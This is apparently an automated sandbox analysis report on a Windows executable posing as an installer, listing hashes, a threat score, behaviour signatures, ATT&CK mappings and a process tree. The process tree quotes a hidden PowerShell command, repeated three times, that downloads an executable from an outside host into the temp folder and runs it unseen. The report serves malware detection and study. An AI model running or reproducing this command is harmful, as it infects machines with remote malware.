b91cc65cd50c7d94976a238a087d41520791e1cdf98fd0e12e4675789e013c4a

Analysis

max time kernel
149s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 06:44

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General

Target
SPOILER_installerapplication.exe
Size 279KB
Sample260701-hhn3eaav71
SHA256 b91cc65cd50c7d94976a238a087d41520791e1cdf98fd0e12e4675789e013c4a
MD5 271fd52d6c0168ec62d995a3a44217fd
SHA1 ab2eb1ebffd49db05306a75021c188c05c3eff0e
SHA512 d97ecbad5db9341bbf240122830de129939f6217dbac2f99856e58dbdcbd5c0d20cb3961934771a5199c65d70330c221b75a6473759cc980af8afa127e044ba1
SSDEEP 6144:KlRXJTvOmOQ4aesyVOYkZzzEJO/vLJ2eT6Gskddnpb:KlX1FSV54AwvtiXkxb
TLSH
T1E954AF59B7A910FAE277D578C9920901FB72B8124760AEDF47500EB68F23AD0DE3DB11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4616	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4616	powershell.exe
4616	powershell.exe
4616	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4616	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3172 wrote to memory of 3656	3172	SPOILER_installerapplication.exe	91
PID 3656 wrote to memory of 6020	3656	cmd.exe	93
PID 6020 wrote to memory of 4616	6020	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\SPOILER_installerapplication.exe
"C:\Users\Admin\AppData\Local\Temp\SPOILER_installerapplication.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK908626.exe; Start-Process -FilePath $env:TEMP\BK908626.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK908626.exe; Start-Process -FilePath $env:TEMP\BK908626.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK908626.exe; Start-Process -FilePath $env:TEMP\BK908626.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_0ofb4ibt.wtn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ofb4ibt.wtn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4616-0-0x00007FFB884CF000-0x00007FFB884D0000-memory.dmp

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memory/4616-7-0x000001C357520000-0x000001C357542000-memory.dmp

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memory/4616-8-0x00007FFB88340000-0x00007FFB88CE4000-memory.dmp

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memory/4616-9-0x00007FFB88340000-0x00007FFB88CE4000-memory.dmp

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memory/4616-10-0x00007FFB88340000-0x00007FFB88CE4000-memory.dmp

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memory/4616-11-0x00007FFB88340000-0x00007FFB88CE4000-memory.dmp

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memory/4616-12-0x00007FFB88340000-0x00007FFB88CE4000-memory.dmp

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memory/4616-13-0x00007FFB88340000-0x00007FFB88CE4000-memory.dmp

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memory/4616-15-0x00007FFB88340000-0x00007FFB88CE4000-memory.dmp

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